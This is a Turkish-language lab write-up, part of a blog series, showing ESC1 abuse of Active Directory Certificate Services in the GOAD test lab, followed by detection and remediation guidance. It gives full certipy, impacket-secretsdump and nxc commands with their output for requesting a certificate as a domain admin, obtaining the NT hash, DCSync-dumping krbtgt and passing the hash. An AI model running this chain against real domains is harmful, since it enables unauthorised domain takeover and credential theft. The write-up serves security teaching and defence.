Series · 4 partsActive Directory Certificate ServicesPart 2 · You are here
  1. 1AD CS Bölüm 1: Mimari, Şablon Semantiği ve ESC Taksonomisi
  2. 2AD CS Bölüm 2: ESC1 İstismarı — RPC Hedefleme, PKINIT Kimlik Doğrulaması ve Orman Ele GeçirmeYou are here
  3. 3AD CS Bölüm 3: ESC4 ve ESC6 — Zafiyeti Kendin Yaratmak
  4. 4AD CS Bölüm 4: Kataloğun Geri Kalanı ve Nasıl Kilitleneceği

Saldırı Yüzeyine Genel Bakış: ESC1 Yapılandırma Hatası

Active Directory Certificate Services ortamlarında ESC1, düşük yetkili bir etki alanı kullanıcısından Domain Admin yetkisine uzanan en doğrudan yetki yükseltme vektörüdür. Bir sertifika şablonu aynı anda şu üç teknik koşulu sağladığında ortaya çıkar:

  1. Geniş Kayıt İzinleri (Enrollment Rights): Şablonun DACL’i Authenticated Users veya Domain Users gibi geniş kapsamlı gruplara Enroll ya da AutoEnroll yetkisi verir.
  2. Kaydolanın Subject’i Belirlemesi: Şablonun mspki-certificate-name-flag özniteliği 0x00010000 (CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT) bayrağını içerir. Bu bayrak CA’ya, SAN’ı talep edenin Active Directory nesnesinden üretmek yerine sertifika imzalama isteğinde (CSR) gönderilen keyfi Subject Alternative Name (SAN) değerini kabul etmesini söyler.
  3. İstemci Kimlik Doğrulama EKU’su: Şablonun pKIExtendedKeyUsage alanında Client Authentication (1.3.6.1.5.5.7.3.2) veya Smart Card Logon (1.3.6.1.4.1.311.20.2.2) OID’i tanımlıdır. Bu sayede üretilen sertifika RFC 4556 Kerberos PKINIT alışverişinde kullanılabilir.

Bu koşullar bir araya geldiğinde kimliği doğrulanmış herhangi bir principal, Tier-0 yöneticisinin kimliğini ([email protected]) belirten geçerli bir X.509 sertifikası isteyebilir, bu sertifikayı KDC’ye sunabilir ve tam yönetici ayrıcalıklarına sahip geçerli bir TGT alabilir. Buradaki tehlike, tek bir yanlış şablon bayrağının parola, hash veya karmaşık bir ACL zinciri gerektirmeden doğrudan orman yöneticiliğine kapı açmasıdır.


1. Aşama: RPC Uç Noktası Çözümlemesi ve Sertifika Kaydı

essos.local ortamına karşı ilk testlerde, Domain Controller’a yöneltilen standart bir sertifika isteği RPC hatasıyla sonuçlanır:

$ certipy-ad req -u [email protected] -p fr3edom -ca ESSOS-CA -template ESC1 \
    -upn [email protected] -dc-ip 192.168.56.12
[*] Requesting certificate via RPC
[!] Failed to resolve dynamic endpoint 91AE6020-9E3C-11CF-8D7C-00AA00C091BE: ept_s_not_registered

Protokol Mekaniği: ept_s_not_registered Hatası Neden Olur?

Windows İstemci-Sertifika Otoritesi protokolü ([MS-WCCE]), RPC (ncacn_ip_tcp) üzerinden çalışır. Bu protokolde süreç şöyledir:

  1. İstemci, belirtilen hedef IP’nin (192.168.56.12, Domain Controller MEEREEN) TCP 135 portundaki RPC Endpoint Mapper (EPM) servisine bağlanır.
  2. İstemci, ICertRequestD2 arayüz UUID’si için dinamik yüksek port bağlamasını ister:
    UUID: 91AE6020-9E3C-11CF-8D7C-00AA00C091BE
    Version: 0.0
  3. ESSOS-CA, Domain Controller yerine BRAAVOS (192.168.56.23) üye sunucusunda barındırıldığı için Domain Controller’ın endpoint mapper’ı 0x000006D9 (ept_s_not_registered) durum kodunu döndürür.

Yani istek doğru CA adını taşısa da yanlış makineye sorulmuştur. Bu hata, CA’nın nerede barındığını bilmenin neden önemli olduğunu gösterir: sertifika isteği Domain Controller’a değil, certsvc servisinin gerçekten çalıştığı host’a gitmelidir. Bu sorunu çözmek için istemci, -target parametresiyle RPC isteğini certsvc servisinin gerçekten çalıştığı sunucuya yönlendirmelidir:

$ certipy-ad req -u [email protected] -p fr3edom -ca ESSOS-CA -template ESC1 \
    -upn [email protected] -target braavos.essos.local -dc-ip 192.168.56.12
[*] Requesting certificate via RPC
[*] Request ID is 3
[*] Successfully requested certificate
[*] Got certificate with UPN '[email protected]'
[*] Certificate has no object SID
[*] Saving certificate and private key to 'daenerys.targaryen.pfx'

CA isteği işler, [email protected] değerini Subject Alternative Name (szOID_SUBJECT_ALT_NAME2, 2.5.29.17) olarak gömer, sertifikayı kendi özel anahtarıyla imzalar ve istemci için üretilen özel anahtarla birlikte PKCS#12 (.pfx) arşivi olarak döndürür. Çıktıdaki Certificate has no object SID satırı ilerideki aşama için kritik olacaktır.


2. Aşama: PKINIT Ön Doğrulaması ve Zayıf UPN Eşlemesi

daenerys.targaryen.pfx yerel diske kaydedildikten sonra, sertifikanın PKINIT (RFC 4556) üzerinden bir Kerberos Ticket Granting Ticket ile değiştirilmesi gerekir:

$ certipy-ad auth -pfx daenerys.targaryen.pfx -dc-ip 192.168.56.12
[*] Certificate identities:
[*]     SAN UPN: '[email protected]'
[*] Using principal: '[email protected]'
[*] Trying to get TGT...
[*] Got TGT
[*] Got hash for '[email protected]': aad3b435b51404eeaad3b435b51404ee:34534854d33b398b66684072224bb47a

Zayıf Bağlama (Weak Binding) Ayrıntısı

Kayıt çıktısındaki Certificate has no object SID ifadesi rastgele bir uyarı değildir. ESC1 şablonu mspki-enrollment-flag içinde 0x00080000 (CT_FLAG_NO_SECURITY_EXTENSION) bayrağını taşıdığı için sertifikada Microsoft’a özgü szOID_NTDS_CA_SECURITY_EXT (1.3.6.1.4.1.311.25.2) uzantısı bulunmaz. Bu uzantı normalde sertifikayı belirli bir dizin nesnesine kriptografik olarak bağlar.

Sertifikada gömülü bir nesne SID’si olmadığında:

  • Yamasız ya da orta düzeyde yapılandırılmış Domain Controller’larda (StrongCertificateBindingEnforcement = 0 veya 1), KDC, SAN içindeki UPN’i ([email protected]) doğrudan LDAP userPrincipalName özniteliğiyle eşleştirmeye geri döner.
  • KDC bu eşleşmeyi kabul eder, daenerys.targaryen için PAC üretir ve AS-REP içinde geçerli bir TGT döndürür.
  • Certipy, bilet alışverişinde dönen PAC önbellek verisinden kullanıcının NT hash’ini çıkarır: 34534854d33b398b66684072224bb47a.

KDC üzerinde StrongCertificateBindingEnforcement = 2 yapılandırılmış olsaydı, sertifika doğrulanabilir bir nesne SID uzantısı taşımadığı için kimlik doğrulama KDC_ERR_CLIENT_NAME_MISMATCH hatasıyla reddedilirdi. Bu ayrım, aynı sertifikanın neden bir ortamda çalışıp başka bir ortamda çalışmadığını açıklar. Kısacası sertifika burada parolanın yerine geçen bir kimlik bilgisi gibi davranır; onu hangi hesaba bağladığınız, saldırının başarısını belirler.

ESC1 İSTİSMARI · ENROLLEE SUBJECT BELİRLER → PKINIT UPN EŞLEME → DCSYNC 1 · SERTİFİKA İSTEĞİ Hedef: ESSOS-CA (braavos .23) Çağrıcı: missandei (Domain User) certipy req -ca ESSOS-CA -template ESC1 -upn daenerys ENROLLEE SUBJECT BELİRLER CT_FLAG_ENROLLEE_SUPPLIES_SUBJ Verilen X.509'da SID OID yok Çıktı: daenerys.pfx anahtarı .pfx 2 · PKINIT ÖN DOĞRULAMA Hedef: KDC (meereen .12) certipy auth -pfx daenerys.pfx AS-REQ (PA-PK-AS-REQ) KDC sertifikayı SID olmadan eşler ZAYIF SERTİFİKA EŞLEMESİ SAN UPN: daenerys.targaryen StrongBindingEnforcement < 2 Çıktı: daenerys TGT + NT Hash TGT 3 · DOMAIN ELE GEÇİRME Hedef: DC03 meereen (.12) daenerys ∈ Domain Admins DRSUAPI DsGetNCChanges DCSync forest kök parolaları KÖK PAROLALARI DÖKÜLDÜ krbtgt hash: 7e486cbf… Admin hash: 54296a48… DURUM: essos.local ELE GEÇİRİLDİ İSTİSMAR ETKİSİ · Yetkisiz 1 RPC isteği, tüm Tier-0 sınırlarını tek adımda Domain Admin'e indirger DCSYNC KANITI: krbtgt: 7e486cbf… · daenerys: 34534854… · Administrator: 54296a48…
ESC1 akışı: CA hostuna sabitlenmiş bir sertifika isteği, sertifikayı daenerys.targaryen'e UPN ile eşleyen bir PKINIT el sıkışması ve ormanı teslim eden bir DCSync.

3. Aşama: DRSUAPI DCSync ile Etki Alanını Ele Geçirme

daenerys.targaryen bir Domain Admins üyesi olduğundan, hesabı etki alanı bölümünün kökü (DC=essos,DC=local) üzerinde dizin çoğaltma genişletilmiş haklarına sahiptir:

  • DS-Replication-Get-Changes (1131f6aa-9c07-11d1-f79f-00c04fc2dcd2)
  • DS-Replication-Get-Changes-All (1131f6ad-9c07-11d1-f79f-00c04fc2dcd2)

Elde edilen NT hash ile impacket-secretsdump çalıştırarak DRSUAPI RPC işlevi DsGetNCChanges’i çağırır, bir Domain Controller çoğaltma isteğini taklit eder ve krbtgt hesabının hash’ini dökeriz:

$ impacket-secretsdump essos.local/[email protected] \
    -hashes aad3b435b51404eeaad3b435b51404ee:34534854d33b398b66684072224bb47a -just-dc-user krbtgt
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:7e486cbfb7d10ec86b7f8384f763d60d:::

Tam Orman Erişiminin Doğrulanması

Dökülen krbtgt hash’i (7e486cbfb7d10ec86b7f8384f763d60d), essos.local içindeki herhangi bir kimlik adına Golden Ticket üretilmesine imkan tanır. Doğrudan yönetici yürütmesini kanıtlamak için secretsdump ayrıca yerleşik Administrator hash’ini (54296a48...) de döndürdü; bu hash ile SMB oturumu açmak erişimin gerçekten çalıştığını gösterir:

$ nxc smb 192.168.56.12 -u Administrator -H 54296a48cd30259cc88095373cec24da -d essos.local
SMB  192.168.56.12  445  MEEREEN  [+] essos.local\Administrator:54296a48cd30259cc88095373cec24da (Pwn3d!)

Tüm ele geçirme zinciri tek bir yetkisiz RPC sertifika isteğiyle tamamlandı. Parola kırma, Kerberoasting veya karmaşık çok adımlı ACL yürüyüşleri gerekmedi. Bu da ESC1’in neden bu kadar tehlikeli olduğunu özetler: Saldırganın ihtiyaç duyduğu tek şey, yanlış yapılandırılmış bir şablona kaydolma hakkıdır.


Tespit Mühendisliği ve İyileştirme

Adli İzler ve Olay İmzaları

Event IDKaynakAçıklamaİncelenecek Kritik Alanlar
4886Active Directory CSSertifika talebi alındıTalep eden hesap (missandei), şablon adı (ESC1), istenen öznitelikler (SAN: [email protected]).
4887Active Directory CSSertifika verildiSubject Alternative Name’in talep edenin kimliğiyle uyuşmaması.
4768Kerberos KDCPKINIT ile TGT istendiPre-Authentication Type = 16, Hedef Hesap = Tier-0 Yönetici (daenerys.targaryen).
4662Dizin ServisiGenişletilmiş haklara erişildiErişim Maskesi 0x100, DC olmayan bir IP’den DS-Replication-Get-Changes-All çağrısı.
// KQL Rule: Flag Certificates Issued with SAN Divergence
SecurityEvent
| where EventID == 4887
| extend Requester = tostring(parse_xml(EventData).Data[0].["#text"])
| extend SAN = tostring(parse_xml(EventData).Data[4].["#text"])
| extend Template = tostring(parse_xml(EventData).Data[2].["#text"])
| where Requester != "" and SAN != "" and Requester != SAN
| project TimeGenerated, Computer, Requester, SAN, Template

İyileştirme Protokolü

  1. Kaydolanın Belirlediği SAN Bayrağını Kaldırın: Zafiyetli şablonu, subject bilgisini doğrudan Active Directory nesne özniteliklerinden üretecek şekilde değiştirin:
    Set-ADObject -Identity "CN=ESC1,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=essos,DC=local" `
        -Replace @{'mspki-certificate-name-flag' = 0x0}
  2. Güçlü Sertifika Bağlamayı Zorunlu Kılın (KB5014754): Domain Controller’ları nesne SID doğrulamasını kesin olarak istemeye yapılandırın:
    reg add "HKLM\SYSTEM\CurrentControlSet\Services\Kdc" /v StrongCertificateBindingEnforcement /t REG_DWORD /d 2 /f
  3. Kayıt İzinlerini Daraltın: Client Authentication veya Smart Card Logon EKU’su belirten şablonların DACL’lerini denetleyin ve bu şablonlardan Domain Users ile Authenticated Users gruplarını kaldırın. Bu izinler çoğu zaman “geçici” olarak eklenir ve sonra unutulur.

Kanıt ve sınırlar

ESC1 sertifika kaydı, PKINIT alışverişi ve ardından gelen DCSync, izole GOAD laboratuvarındaki ESSOS-CA (192.168.56.23) ve MEEREEN (192.168.56.12) üzerinde yürütülmüştür. Üretilen sertifikalar, özel anahtarlar ve dökülen hash’ler sentetik essos.local etki alanına aittir. Buradaki başarı, CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT, CT_FLAG_NO_SECURITY_EXTENSION ve zayıf sertifika bağlaması gibi kasıtlı laboratuvar yapılandırmalarına dayanır; üretim ortamlarında bu koşulların hepsi aynı anda bulunmayabilir.

Kaynaklar

Kaynaklar ve güncellik

Bu teknik not ne kadar güncel?

Kontrol edilen kaynaklar5 Kasım 2026

En son kaynak incelemesi, içerik güncellemesi veya yayın tarihi gösterilmektedir.

İnceleme DurumuKamuya açık kaynaklar incelendi

Birincil kamu kayıtları kontrol edildi. Ortama özgü davranış, ayrıca yeniden üretilmedikçe iddianın dışındadır.